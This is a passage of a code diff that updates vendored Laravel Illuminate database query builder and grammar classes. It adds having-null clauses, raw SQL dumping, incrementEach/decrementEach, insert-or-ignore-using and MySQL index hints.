$boolean = 'and') + { + return $this->havingNull($columns, $boolean, true); + } + + /** + * Add an "or having not null" clause to the query. + * + * @param string $column + * @return $this + */ + public function orHavingNotNull($column) + { + return $this->havingNotNull($column, 'or'); + } + /** * Add a "having between " clause to the query. * * @param string $column - * @param array $values + * @param iterable $values * @param string $boolean * @param bool $not * @return $this */ - public function havingBetween($column, array $values, $boolean = 'and', $not = false) + public function havingBetween($column, iterable $values, $boolean = 'and', $not = false) { $type = 'between'; + if ($values instanceof CarbonPeriod) { + $values = [$values->start, $values->end]; + } + $this->havings[] = compact('type', 'column', 'values', 'boolean', 'not'); $this->addBinding(array_slice($this->cleanBindings(Arr::flatten($values)), 0, 2), 'having'); @@ -2024,7 +2417,7 @@ public function orHavingRaw($sql, array $bindings = []) /** * Add an "order by" clause to the query. * - * @param \Closure|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder|\Illuminate\Database\Query\Expression|string $column + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|\Illuminate\Contracts\Database\Query\Expression|string $column * @param string $direction * @return $this * @@ -2057,7 +2450,7 @@ public function orderBy($column, $direction = 'asc') /** * Add a descending "order by" clause to the query. * - * @param \Closure|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder|\Illuminate\Database\Query\Expression|string $column + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|\Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function orderByDesc($column) @@ -2068,7 +2461,7 @@ public function orderByDesc($column) /** * Add an "order by" clause for a timestamp to the query. * - * @param \Closure|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder|\Illuminate\Database\Query\Expression|string $column + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function latest($column = 'created_at') @@ -2079,7 +2472,7 @@ public function latest($column = 'created_at') /** * Add an "order by" clause for a timestamp to the query. * - * @param \Closure|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder|\Illuminate\Database\Query\Expression|string $column + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function oldest($column = 'created_at') @@ -2090,7 +2483,7 @@ public function oldest($column = 'created_at') /** * Put the query's results in random order. * - * @param string $seed + * @param string|int $seed * @return $this */ public function inRandomOrder($seed = '') @@ -2225,7 +2618,7 @@ public function forPageAfterId($perPage = 15, $lastId = 0, $column = 'id') /** * Remove all existing orders and optionally add a new order. * - * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Query\Expression|string|null $column + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Contracts\Database\Query\Expression|string|null $column * @param string $direction * @return $this */ @@ -2261,14 +2654,14 @@ protected function removeExistingOrdersFor($column) /** * Add a union statement to the query. * - * @param \Illuminate\Database\Query\Builder|\Closure $query + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $query * @param bool $all * @return $this */ public function union($query, $all = false) { if ($query instanceof Closure) { - call_user_func($query, $query = $this->newQuery()); + $query($query = $this->newQuery()); } $this->unions[] = compact('query', 'all'); @@ -2281,7 +2674,7 @@ public function union($query, $all = false) /** * Add a union all statement to the query. * - * @param \Illuminate\Database\Query\Builder|\Closure $query + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $query * @return $this */ public function unionAll($query) @@ -2309,7 +2702,7 @@ public function lock($value = true) /** * Lock the selected rows in the table for updating. * - * @return \Illuminate\Database\Query\Builder + * @return $this */ public function lockForUpdate() { @@ -2319,7 +2712,7 @@ public function lockForUpdate() /** * Share lock the selected rows in the table. * - * @return \Illuminate\Database\Query\Builder + * @return $this */ public function sharedLock() { @@ -2365,11 +2758,23 @@ public function toSql() return $this->grammar->compileSelect($this); } + /** + * Get the raw SQL representation of the query with embedded bindings. + * + * @return string + */ + public function toRawSql() + { + return $this->grammar->substituteBindingsIntoRawSql( + $this->toSql(), $this->connection->prepareBindings($this->getBindings()) + ); + } + /** * Execute a query for a single record by ID. * * @param int|string $id - * @param array $columns + * @param array|string $columns * @return mixed|static */ public function find($id, $columns = ['*']) @@ -2377,6 +2782,29 @@ public function find($id, $columns = ['*']) return $this->where('id', '=', $id)->first($columns); } + /** + * Execute a query for a single record by ID or call a callback. + * + * @param mixed $id + * @param \Closure|array|string $columns + * @param \Closure|null $callback + * @return mixed|static + */ + public function findOr($id, $columns = ['*'], Closure $callback = null) + { + if ($columns instanceof Closure) { + $callback = $columns; + + $columns = ['*']; + } + + if (! is_null($data = $this->find($id, $columns))) { + return $data; + } + + return $callback(); + } + /** * Get a single column's value from the first result of a query. * @@ -2390,6 +2818,36 @@ public function value($column) return count($result) > 0 ? reset($result) : null; } + /** + * Get a single expression value from the first result of a query. + * + * @param string $expression + * @param array $bindings + * @return mixed + */ + public function rawValue(string $expression, array $bindings = []) + { + $result = (array) $this->selectRaw($expression, $bindings)->first(); + + return count($result) > 0 ? reset($result) : null; + } + + /** + * Get a single column's value from the first result of a query if it's the sole matching record. + * + * @param string $column + * @return mixed + * + * @throws \Illuminate\Database\RecordsNotFoundException + * @throws \Illuminate\Database\MultipleRecordsFoundException + */ + public function soleValue($column) + { + $result = (array) $this->sole([$column]); + + return reset($result); + } + /** * Execute the query as a "select" statement. * @@ -2418,17 +2876,20 @@ protected function runSelect() /** * Paginate the given query into a simple paginator. * - * @param int $perPage - * @param array $columns + * @param int|\Closure $perPage + * @param array|string $columns * @param string $pageName * @param int|null $page + * @param \Closure|int|null $total * @return \Illuminate\Contracts\Pagination\LengthAwarePaginator */ public function paginate($perPage = 15, $columns = ['*'], $pageName = 'page', $page = null) { $page = $page ?: Paginator::resolveCurrentPage($pageName); - $total = $this->getCountForPagination(); + $total = func_num_args() === 5 ? value(func_get_arg(4)) : $this->getCountForPagination(); + + $perPage = $perPage instanceof Closure ? $perPage($total) : $perPage; $results = $total ? $this->forPage($page, $perPage)->get($columns) : collect(); @@ -2444,7 +2905,7 @@ public function paginate($perPage = 15, $columns = ['*'], $pageName = 'page', $p * This is more efficient on larger data-sets, etc. * * @param int $perPage - * @param array $columns + * @param array|string $columns * @param string $pageName * @param int|null $page * @return \Illuminate\Contracts\Pagination\Paginator @@ -2467,7 +2928,7 @@ public function simplePaginate($perPage = 15, $columns = ['*'], $pageName = 'pag * This is more efficient on larger data-sets, etc. * * @param int|null $perPage - * @param array $columns + * @param array|string $columns * @param string $cursorName * @param \Illuminate\Pagination\Cursor|string|null $cursor * @return \Illuminate\Contracts\Pagination\CursorPaginator @@ -2485,17 +2946,30 @@ public function cursorPaginate($perPage = 15, $columns = ['*'], $cursorName = 'c */ protected function ensureOrderForCursorPagination($shouldReverse = false) { - $this->enforceOrderBy(); - - return collect($this->orders ?? $this->unionOrders ?? [])->filter(function ($order) { - return Arr::has($order, 'direction'); - })->when($shouldReverse, function (Collection $orders) { - return $orders->map(function ($order) { - $order['direction'] = $order['direction'] === 'asc' ? 'desc' : 'asc'; + if (empty($this->orders) && empty($this->unionOrders)) { + $this->enforceOrderBy(); + } + $reverseDirection = function ($order) { + if (! isset($order['direction'])) { return $order; - }); - })->values(); + } + + $order['direction'] = $order['direction'] === 'asc' ? 'desc' : 'asc'; + + return $order; + }; + + if ($shouldReverse) { + $this->orders = collect($this->orders)->map($reverseDirection)->toArray(); + $this->unionOrders = collect($this->unionOrders)->map($reverseDirection)->toArray(); + } + + $orders = ! empty($this->unionOrders) ? $this->unionOrders : $this->orders; + + return collect($orders) + ->filter(fn ($order) => Arr::has($order, 'direction')) + ->values(); } /** @@ -2610,7 +3084,7 @@ protected function enforceOrderBy() /** * Get a collection instance containing the values of a given column. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param string|null $key * @return \Illuminate\Support\Collection */ @@ -2656,9 +3130,13 @@ protected function stripTableForPluck($column) return $column; } - $separator = strpos(strtolower($column), ' as ') !== false ? ' as ' : '\.'; + $columnString = $column instanceof ExpressionContract + ? $this->grammar->getValue($column) + : $column; + + $separator = str_contains(strtolower($columnString), ' as ') ? ' as ' : '\.'; - return last(preg_split('~'.$separator.'~i', $column)); + return last(preg_split('~'.$separator.'~i', $columnString)); } /** @@ -2736,9 +3214,9 @@ public function exists() $this->grammar->compileExists($this), $this->getBindings(), ! $this->useWritePdo ); - // If the results has rows, we will get the row and see if the exists column is a - // boolean true. If there is no results for this query we will return false as - // there are no rows for this query at all and we can return that info here. + // If the results have rows, we will get the row and see if the exists column is a + // boolean true. If there are no results for this query we will return false as + // there are no rows for this query at all, and we can return that info here. if (isset($results[0])) { $results = (array) $results[0]; @@ -2783,7 +3261,7 @@ public function doesntExistOr(Closure $callback) /** * Retrieve the "count" result of the query. * - * @param string $columns + * @param \Illuminate\Contracts\Database\Query\Expression|string $columns * @return int */ public function count($columns = '*') @@ -2794,7 +3272,7 @@ public function count($columns = '*') /** * Retrieve the minimum value of a given column. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return mixed */ public function min($column) @@ -2805,7 +3283,7 @@ public function min($column) /** * Retrieve the maximum value of a given column. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return mixed */ public function max($column) @@ -2816,7 +3294,7 @@ public function max($column) /** * Retrieve the sum of the values of a given column. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return mixed */ public function sum($column) @@ -2829,7 +3307,7 @@ public function sum($column) /** * Retrieve the average of the values of a given column. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return mixed */ public function avg($column) @@ -2840,7 +3318,7 @@ public function avg($column) /** * Alias for the "avg" method. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return mixed */ public function average($column) @@ -2892,7 +3370,7 @@ public function numericAggregate($function, $columns = ['*']) // If the result doesn't contain a decimal place, we will assume it is an int then // cast it to one. When it does we will cast it to a float since it needs to be // cast to the expected data type for the developers out of pure convenience. - return strpos((string) $result, '.') === false + return ! str_contains((string) $result, '.') ? (int) $result : (float) $result; } @@ -2998,6 +3476,7 @@ public function insertOrIgnore(array $values) } else { foreach ($values as $key => $value) { ksort($value); + $values[$key] = $value; } } @@ -3032,7 +3511,7 @@ public function insertGetId(array $values, $sequence = null) * Insert new records into the table using a subquery. * * @param array $columns - * @param \Closure|\Illuminate\Database\Query\Builder|string $query + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @return int */ public function insertUsing(array $columns, $query) @@ -3047,6 +3526,25 @@ public function insertUsing(array $columns, $query) ); } + /** + * Insert new records into the table using a subquery while ignoring errors. + * + * @param array $columns + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query + * @return int + */ + public function insertOrIgnoreUsing(array $columns, $query) + { + $this->applyBeforeQueryCallbacks(); + + [$sql, $bindings] = $this->createSub($query); + + return $this->connection->affectingStatement( + $this->grammar->compileInsertOrIgnoreUsing($this, $columns, $sql), + $this->cleanBindings($bindings) + ); + } + /** * Update records in the database. * @@ -3166,11 +3664,31 @@ public function increment($column, $amount = 1, array $extra = []) throw new InvalidArgumentException('Non-numeric value passed to increment method.'); } - $wrapped = $this->grammar->wrap($column); + return $this->incrementEach([$column => $amount], $extra); + } + + /** + * Increment the given column's values by the given amounts. + * + * @param array $columns + * @param array $extra + * @return int + * + * @throws \InvalidArgumentException + */ + public function incrementEach(array $columns, array $extra = []) + { + foreach ($columns as $column => $amount) { + if (! is_numeric($amount)) { + throw new InvalidArgumentException("Non-numeric value passed as increment amount for column: '$column'."); + } elseif (! is_string($column)) { + throw new InvalidArgumentException('Non-associative array passed to incrementEach method.'); + } - $columns = array_merge([$column => $this->raw("$wrapped + $amount")], $extra); + $columns[$column] = $this->raw("{$this->grammar->wrap($column)} + $amount"); + } - return $this->update($columns); + return $this->update(array_merge($columns, $extra)); } /** @@ -3189,11 +3707,31 @@ public function decrement($column, $amount = 1, array $extra = []) throw new InvalidArgumentException('Non-numeric value passed to decrement method.'); } - $wrapped = $this->grammar->wrap($column); + return $this->decrementEach([$column => $amount], $extra); + } + + /** + * Decrement the given column's values by the given amounts. + * + * @param array $columns + * @param array $extra + * @return int + * + * @throws \InvalidArgumentException + */ + public function decrementEach(array $columns, array $extra = []) + { + foreach ($columns as $column => $amount) { + if (! is_numeric($amount)) { + throw new InvalidArgumentException("Non-numeric value passed as decrement amount for column: '$column'."); + } elseif (! is_string($column)) { + throw new InvalidArgumentException('Non-associative array passed to decrementEach method.'); + } - $columns = array_merge([$column => $this->raw("$wrapped - $amount")], $extra); + $columns[$column] = $this->raw("{$this->grammar->wrap($column)} - $amount"); + } - return $this->update($columns); + return $this->update(array_merge($columns, $extra)); } /** @@ -3254,17 +3792,41 @@ protected function forSubQuery() return $this->newQuery(); } + /** + * Get all of the query builder's columns in a text-only array with all expressions evaluated. + * + * @return array + */ + public function getColumns() + { + return ! is_null($this->columns) + ? array_map(fn ($column) => $this->grammar->getValue($column), $this->columns) + : []; + } + /** * Create a raw database expression. * * @param mixed $value - * @return \Illuminate\Database\Query\Expression + * @return \Illuminate\Contracts\Database\Query\Expression */ public function raw($value) { return $this->connection->raw($value); } + /** + * Get the query builder instances that are used in the union of the query. + * + * @return \Illuminate\Support\Collection + */ + protected function getUnionBuilders() + { + return isset($this->unions) + ? collect($this->unions)->pluck('query') + : collect(); + } + /** * Get the current query value bindings in a flattened array. * @@ -3340,11 +3902,7 @@ public function addBinding($value, $type = 'where') */ public function castBinding($value) { - if (function_exists('enum_exists') && $value instanceof BackedEnum) { - return $value->value; - } - - return $value; + return $value instanceof BackedEnum ? $value->value : $value; } /** @@ -3370,7 +3928,7 @@ public function cleanBindings(array $bindings) { return collect($bindings) ->reject(function ($binding) { - return $binding instanceof Expression; + return $binding instanceof ExpressionContract; }) ->map([$this, 'castBinding']) ->values() @@ -3429,7 +3987,7 @@ public function getGrammar() } /** - * Use the write pdo for query. + * Use the "write" PDO connection when executing the query. * * @return $this */ @@ -3506,6 +4064,18 @@ public function dump() return $this; } + /** + * Dump the raw current SQL with embedded bindings. + * + * @return $this + */ + public function dumpRawSql() + { + dump($this->toRawSql()); + + return $this; + } + /** * Die and dump the current SQL and bindings. * @@ -3516,6 +4086,16 @@ public function dd() dd($this->toSql(), $this->getBindings()); } + /** + * Die and dump the current SQL with embedded bindings. + * + * @return never + */ + public function ddRawSql() + { + dd($this->toRawSql()); + } + /** * Handle dynamic method calls into the method. * @@ -3531,7 +4111,7 @@ public function __call($method, $parameters) return $this->macroCall($method, $parameters); } - if (Str::startsWith($method, 'where')) { + if (str_starts_with($method, 'where')) { return $this->dynamicWhere($method, $parameters); } diff --git a/vendor/illuminate/database/Query/Expression.php b/vendor/illuminate/database/Query/Expression.php index de6902998..7233e11dc 100644 --- a/vendor/illuminate/database/Query/Expression.php +++ b/vendor/illuminate/database/Query/Expression.php @@ -2,19 +2,22 @@ namespace Illuminate\Database\Query; -class Expression +use Illuminate\Contracts\Database\Query\Expression as ExpressionContract; +use Illuminate\Database\Grammar; + +class Expression implements ExpressionContract { /** * The value of the expression. * - * @var mixed + * @var string|int|float */ protected $value; /** * Create a new raw query expression. * - * @param mixed $value + * @param string|int|float $value * @return void */ public function __construct($value) @@ -25,20 +28,11 @@ public function __construct($value) /** * Get the value of the expression. * - * @return mixed + * @param \Illuminate\Database\Grammar $grammar + * @return string|int|float */ - public function getValue() + public function getValue(Grammar $grammar) { return $this->value; } - - /** - * Get the value of the expression. - * - * @return string - */ - public function __toString() - { - return (string) $this->getValue(); - } } diff --git a/vendor/illuminate/database/Query/Grammars/Grammar.php b/vendor/illuminate/database/Query/Grammars/Grammar.php index 0dbdb1e05..b8eed21e6 100644 --- a/vendor/illuminate/database/Query/Grammars/Grammar.php +++ b/vendor/illuminate/database/Query/Grammars/Grammar.php @@ -2,15 +2,19 @@ namespace Illuminate\Database\Query\Grammars; +use Illuminate\Contracts\Database\Query\Expression; +use Illuminate\Database\Concerns\CompilesJsonPaths; use Illuminate\Database\Grammar as BaseGrammar; use Illuminate\Database\Query\Builder; use Illuminate\Database\Query\JoinClause; +use Illuminate\Database\Query\JoinLateralClause; use Illuminate\Support\Arr; -use Illuminate\Support\Str; use RuntimeException; class Grammar extends BaseGrammar { + use CompilesJsonPaths; + /** * The grammar specific operators. * @@ -34,6 +38,7 @@ class Grammar extends BaseGrammar 'aggregate', 'columns', 'from', + 'indexHint', 'joins', 'wheres', 'groups', @@ -178,10 +183,28 @@ protected function compileJoins(Builder $query, $joins) $tableAndNestedJoins = is_null($join->joins) ? $table : '('.$table.$nestedJoins.')'; + if ($join instanceof JoinLateralClause) { + return $this->compileJoinLateral($join, $tableAndNestedJoins); + } + return trim("{$join->type} join {$tableAndNestedJoins} {$this->compileWheres($join)}"); })->implode(' '); } + /** + * Compile a "lateral join" clause. + * + * @param \Illuminate\Database\Query\JoinLateralClause $join + * @param string $expression + * @return string + * + * @throws \RuntimeException + */ + public function compileJoinLateral(JoinLateralClause $join, string $expression): string + { + throw new RuntimeException('This database engine does not support lateral joins.'); + } + /** * Compile the "where" portions of the query. * @@ -190,7 +213,7 @@ protected function compileJoins(Builder $query, $joins) */ public function compileWheres(Builder $query) { - // Each type of where clauses has its own compiler function which is responsible + // Each type of where clause has its own compiler function, which is responsible // for actually creating the where clauses SQL. This helps keep the code nice // and maintainable since each clause has a very small method that it uses. if (is_null($query->wheres)) { @@ -243,7 +266,7 @@ protected function concatenateWhereClauses($query, $sql) */ protected function whereRaw(Builder $query, $where) { - return $where['sql']; + return $where['sql'] instanceof Expression ? $where['sql']->getValue($this) : $where['sql']; } /** @@ -377,9 +400,9 @@ protected function whereBetween(Builder $query, $where) { $between = $where['not'] ? 'not between' : 'between'; - $min = $this->parameter(reset($where['values'])); + $min = $this->parameter(is_array($where['values']) ? reset($where['values']) : $where['values'][0]); - $max = $this->parameter(end($where['values'])); + $max = $this->parameter(is_array($where['values']) ? end($where['values']) : $where['values'][1]); return $this->wrap($where['column']).' '.$between.' '.$min.' and '.$max; } @@ -395,9 +418,9 @@ protected function whereBetweenColumns(Builder $query, $where) { $between = $where['not'] ? 'not between' : 'between'; - $min = $this->wrap(reset($where['values'])); + $min = $this->wrap(is_array($where['values']) ? reset($where['values']) : $where['values'][0]); - $max = $this->wrap(end($where['values'])); + $max = $this->wrap(is_array($where['values']) ? end($where['values']) : $where['values'][1]); return $this->wrap($where['column']).' '.$between.' '.$min.' and '.$max; } @@ -501,7 +524,7 @@ protected function whereNested(Builder $query, $where) // Here we will calculate what portion of the string we need to remove. If this // is a join clause query, we need to remove the "on" portion of the SQL and // if it is a normal query we need to take the leading "where" of queries. - $offset = $query instanceof JoinClause ? 3 : 6; + $offset = $where['query'] instanceof JoinClause ? 3 : 6; return '('.substr($this->compileWheres($where['query']), $offset).')'; } @@ -617,7 +640,36 @@ protected function compileJsonContains($column, $value) */ public function prepareBindingForJsonContains($binding) { - return json_encode($binding); + return json_encode($binding, JSON_UNESCAPED_UNICODE); + } + + /** + * Compile a "where JSON contains key" clause. + * + * @param \Illuminate\Database\Query\Builder $query + * @param array $where + * @return string + */ + protected function whereJsonContainsKey(Builder $query, $where) + { + $not = $where['not'] ? 'not ' : ''; + + return $not.$this->compileJsonContainsKey( + $where['column'] + ); + } + + /** + * Compile a "JSON contains key" statement into SQL. + * + * @param string $column + * @return string + * + * @throws \RuntimeException + */ + protected function compileJsonContainsKey($column) + { + throw new RuntimeException('This database engine does not support JSON contains key operations.'); } /** @@ -651,6 +703,17 @@ protected function compileJsonLength($column, $operator, $value) throw new RuntimeException('This database engine does not support JSON length operations.'); } + /** + * Compile a "JSON value cast" statement into SQL. + * + * @param string $value + * @return string + */ + public function compileJsonValueCast($value) + { + return $value; + } + /** * Compile a "where fulltext" clause. * @@ -663,6 +726,18 @@ public function whereFullText(Builder $query, $where) throw new RuntimeException('This database engine does not support fulltext search operations.'); } + /** + * Compile a clause based on an expression. + * + * @param \Illuminate\Database\Query\Builder $query + * @param array $where + * @return string + */ + public function whereExpression(Builder $query, $where) + { + return $where['column']->getValue($this); + } + /** * Compile the "group by" portions of the query. * @@ -679,14 +754,13 @@ protected function compileGroups(Builder $query, $groups) * Compile the "having" portions of the query. * * @param \Illuminate\Database\Query\Builder $query - * @param array $havings * @return string */ - protected function compileHavings(Builder $query, $havings) + protected function compileHavings(Builder $query) { - $sql = implode(' ', array_map([$this, 'compileHaving'], $havings)); - - return 'having '.$this->removeLeadingBoolean($sql); + return 'having '.$this->removeLeadingBoolean(collect($query->havings)->map(function ($having) { + return $having['boolean'].' '.$this->compileHaving($having); + })->implode(' ')); } /** @@ -700,13 +774,16 @@ protected function compileHaving(array $having) // If the having clause is "raw", we can just return the clause straight away // without doing any more processing on it. Otherwise, we will compile the // clause into SQL based on the components that make it up from builder. - if ($having['type'] === 'Raw') { - return $having['boolean'].' '.$having['sql']; - } elseif ($having['type'] === 'between') { - return $this->compileHavingBetween($having); - } - - return $this->compileBasicHaving($having); + return match ($having['type']) { + 'Raw' => $having['sql'], + 'between' => $this->compileHavingBetween($having), + 'Null' => $this->compileHavingNull($having), + 'NotNull' => $this->compileHavingNotNull($having), + 'bit' => $this->compileHavingBit($having), + 'Expression' => $this->compileHavingExpression($having), + 'Nested' => $this->compileNestedHavings($having), + default => $this->compileBasicHaving($having), + }; } /** @@ -721,7 +798,7 @@ protected function compileBasicHaving($having) $parameter = $this->parameter($having['value']); - return $having['boolean'].' '.$column.' '.$having['operator'].' '.$parameter; + return $column.' '.$having['operator'].' '.$parameter; } /** @@ -740,7 +817,70 @@ protected function compileHavingBetween($having) $max = $this->parameter(last($having['values'])); - return $having['boolean'].' '.$column.' '.$between.' '.$min.' and '.$max; + return $column.' '.$between.' '.$min.' and '.$max; + } + + /** + * Compile a having null clause. + * + * @param array $having + * @return string + */ + protected function compileHavingNull($having) + { + $column = $this->wrap($having['column']); + + return $column.' is null'; + } + + /** + * Compile a having not null clause. + * + * @param array $having + * @return string + */ + protected function compileHavingNotNull($having) + { + $column = $this->wrap($having['column']); + + return $column.' is not null'; + } + + /** + * Compile a having clause involving a bit operator. + * + * @param array $having + * @return string + */ + protected function compileHavingBit($having) + { + $column = $this->wrap($having['column']); + + $parameter = $this->parameter($having['value']); + + return '('.$column.' '.$having['operator'].' '.$parameter.') != 0'; + } + + /** + * Compile a having clause involving an expression. + * + * @param array $having + * @return string + */ + protected function compileHavingExpression($having) + { + return $having['column']->getValue($this); + } + + /** + * Compile a nested having clause. + * + * @param array $having + * @return string + */ + protected function compileNestedHavings($having) + { + return '('.substr($this->compileHavings($having['query']), 7).')'; } /** @@ -776,7 +916,7 @@ protected function compileOrdersToArray(Builder $query, $orders) /** * Compile the random statement into SQL. * - * @param string $seed + * @param string|int $seed * @return string */ public function compileRandom($seed) @@ -914,7 +1054,7 @@ public function compileInsert(Builder $query, array $values) $columns = $this->columnize(array_keys(reset($values))); // We need to build a list of parameter place-holders of values that are bound - // to the query. Each insert should have the exact same amount of parameter + // to the query. Each insert should have the exact same number of parameter // bindings so we will loop through the record and parameterize them all. $parameters = collect($values)->map(function ($record) { return '('.$this->parameterize($record).')'; @@ -960,7 +1100,28 @@ public function compileInsertGetId(Builder $query, $values, $sequence) */ public function compileInsertUsing(Builder $query, array $columns, string $sql) { - return "insert into {$this->wrapTable($query->from)} ({$this->columnize($columns)}) $sql"; + $table = $this->wrapTable($query->from); + + if (empty($columns) || $columns === ['*']) { + return "insert into {$table} $sql"; + } + + return "insert into {$table} ({$this->columnize($columns)}) $sql"; + } + + /** + * Compile an insert ignore statement using a subquery into SQL. + * + * @param \Illuminate\Database\Query\Builder $query + * @param array $columns + * @param string $sql + * @return string + * + * @throws \RuntimeException + */ + public function compileInsertOrIgnoreUsing(Builder $query, array $columns, string $sql) + { + throw new RuntimeException('This database engine does not support inserting while ignoring errors.'); } /** @@ -1178,49 +1339,6 @@ public function compileSavepointRollBack($name) return 'ROLLBACK TO SAVEPOINT '.$name; } - /** - * Wrap a value in keyword identifiers. - * - * @param \Illuminate\Database\Query\Expression|string $value - * @param bool $prefixAlias - * @return string - */ - public function wrap($value, $prefixAlias = false) - { - if ($this->isExpression($value)) { - return $this->getValue($value); - } - - // If the value being wrapped has a column alias we will need to separate out - // the pieces so we can wrap each of the segments of the expression on its - // own, and then join these both back together using the "as" connector. - if (stripos($value, ' as ') !== false) { - return $this->wrapAliasedValue($value, $prefixAlias); - } - - // If the given value is a JSON selector we will wrap it differently than a - // traditional value. We will need to split this path and wrap each part - // wrapped, etc. Otherwise, we will simply wrap the value as a string. - if ($this->isJsonSelector($value)) { - return $this->wrapJsonSelector($value); - } - - return $this->wrapSegments(explode('.', $value)); - } - - /** - * Wrap the given JSON selector. - * - * @param string $value - * @return string - * - * @throws \RuntimeException - */ - protected function wrapJsonSelector($value) - { - throw new RuntimeException('This database engine does not support JSON operations.'); - } - /** * Wrap the given JSON selector for boolean values. * @@ -1243,48 +1361,6 @@ protected function wrapJsonBooleanValue($value) return $value; } - /** - * Split the given JSON selector into the field and the optional path and wrap them separately. - * - * @param string $column - * @return array - */ - protected function wrapJsonFieldAndPath($column) - { - $parts = explode('->', $column, 2); - - $field = $this->wrap($parts[0]); - - $path = count($parts) > 1 ? ', '.$this->wrapJsonPath($parts[1], '->') : ''; - - return [$field, $path]; - } - - /** - * Wrap the given JSON path. - * - * @param string $value - * @param string $delimiter - * @return string - */ - protected function wrapJsonPath($value, $delimiter = '->') - { - $value = preg_replace("/([\\\\]+)?\\'/", "''", $value); - - return '\'$."'.str_replace($delimiter, '"."', $value).'"\''; - } - - /** - * Determine if the given string is a JSON selector. - * - * @param string $value - * @return bool - */ - protected function isJsonSelector($value) - { - return Str::contains($value, '->'); - } - /** * Concatenate an array of segments, removing empties. * @@ -1309,6 +1385,44 @@ protected function removeLeadingBoolean($value) return preg_replace('/and |or /i', '', $value, 1); } + /** + * Substitute the given bindings into the given raw SQL query. + * + * @param string $sql + * @param array $bindings + * @return string + */ + public function substituteBindingsIntoRawSql($sql, $bindings) + { + $bindings = array_map(fn ($value) => $this->escape($value), $bindings); + + $query = ''; + + $isStringLiteral = false; + + for ($i = 0; $i < strlen($sql); $i++) { + $char = $sql[$i]; + $nextChar = $sql[$i + 1] ?? null; + + // Single quotes can be escaped as '' according to the SQL standard while + // MySQL uses \'. Postgres has operators like ?| that must get encoded + // in PHP like ??|. We should skip over the escaped characters here. + if (in_array($char.$nextChar, ["\'", "''", '??'])) { + $query .= $char.$nextChar; + $i += 1; + } elseif ($char === "'") { // Starting / leaving string literal... + $query .= $char; + $isStringLiteral = ! $isStringLiteral; + } elseif ($char === '?' && ! $isStringLiteral) { // Substitutable binding... + $query .= array_shift($bindings) ?? '?'; + } else { // Normal character... + $query .= $char; + } + } + + return $query; + } + /** * Get the grammar specific operators. * diff --git a/vendor/illuminate/database/Query/Grammars/MySqlGrammar.php b/vendor/illuminate/database/Query/Grammars/MySqlGrammar.php index 404b3d540..3d900eeb3 100644 --- a/vendor/illuminate/database/Query/Grammars/MySqlGrammar.php +++ b/vendor/illuminate/database/Query/Grammars/MySqlGrammar.php @@ -3,6 +3,7 @@ namespace Illuminate\Database\Query\Grammars; use Illuminate\Database\Query\Builder; +use Illuminate\Database\Query\JoinLateralClause; use Illuminate\Support\Str; class MySqlGrammar extends Grammar @@ -23,8 +24,10 @@ class MySqlGrammar extends Grammar */ protected function whereNull(Builder $query, $where) { - if ($this->isJsonSelector($where['column'])) { - [$field, $path] = $this->wrapJsonFieldAndPath($where['column']); + $columnValue = (string) $this->getValue($where['column']); + + if ($this->isJsonSelector($columnValue)) { + [$field, $path] = $this->wrapJsonFieldAndPath($columnValue); return '(json_extract('.$field.$path.') is null OR json_type(json_extract('.$field.$path.')) = \'NULL\')'; } @@ -41,8 +44,10 @@ protected function whereNull(Builder $query, $where) */ protected function whereNotNull(Builder $query, $where) { - if ($this->isJsonSelector($where['column'])) { - [$field, $path] = $this->wrapJsonFieldAndPath($where['column']); + $columnValue = (string) $this->getValue($where['column']); + + if ($this->isJsonSelector($columnValue)) { + [$field, $path] = $this->wrapJsonFieldAndPath($columnValue); return '(json_extract('.$field.$path.') is not null AND json_type(json_extract('.$field.$path.')) != \'NULL\')'; } @@ -74,6 +79,22 @@ public function whereFullText(Builder $query, $where) return "match ({$columns}) against (".$value."{$mode}{$expanded})"; } + /** + * Compile the index hints for the query. + * + * @param \Illuminate\Database\Query\Builder $query + * @param \Illuminate\Database\Query\IndexHint $indexHint + * @return string + */ + protected function compileIndexHint(Builder $query, $indexHint) + { + return match ($indexHint->type) { + 'hint' => "use index ({$indexHint->index})", + 'force' => "force index ({$indexHint->index})", + default => "ignore index ({$indexHint->index})", + }; + } + /** * Compile an insert ignore statement into SQL. * @@ -86,6 +107,19 @@ public function compileInsertOrIgnore(Builder $query, array $values) return Str::replaceFirst('insert', 'insert ignore', $this->compileInsert($query, $values)); } + /** + * Compile an insert ignore statement using a subquery into SQL. + * + * @param \Illuminate\Database\Query\Builder $query + * @param array $columns + * @param string $sql + * @return string + */ + public function compileInsertOrIgnoreUsing(Builder $query, array $columns, string $sql) + { + return Str::replaceFirst('insert', 'insert ignore', $this->compileInsertUsing($query, $columns, $sql)); + } + /** * Compile a "JSON contains" statement into SQL. * @@ -100,6 +134,19 @@ protected function compileJsonContains($column, $value) return 'json_contains('.$field.', '.$value.$path.')'; } + /** + * Compile a "JSON contains key" statement into SQL. + * + * @param string $column + * @return string + */ + protected function compileJsonContainsKey($column) + { + [$field, $path] = 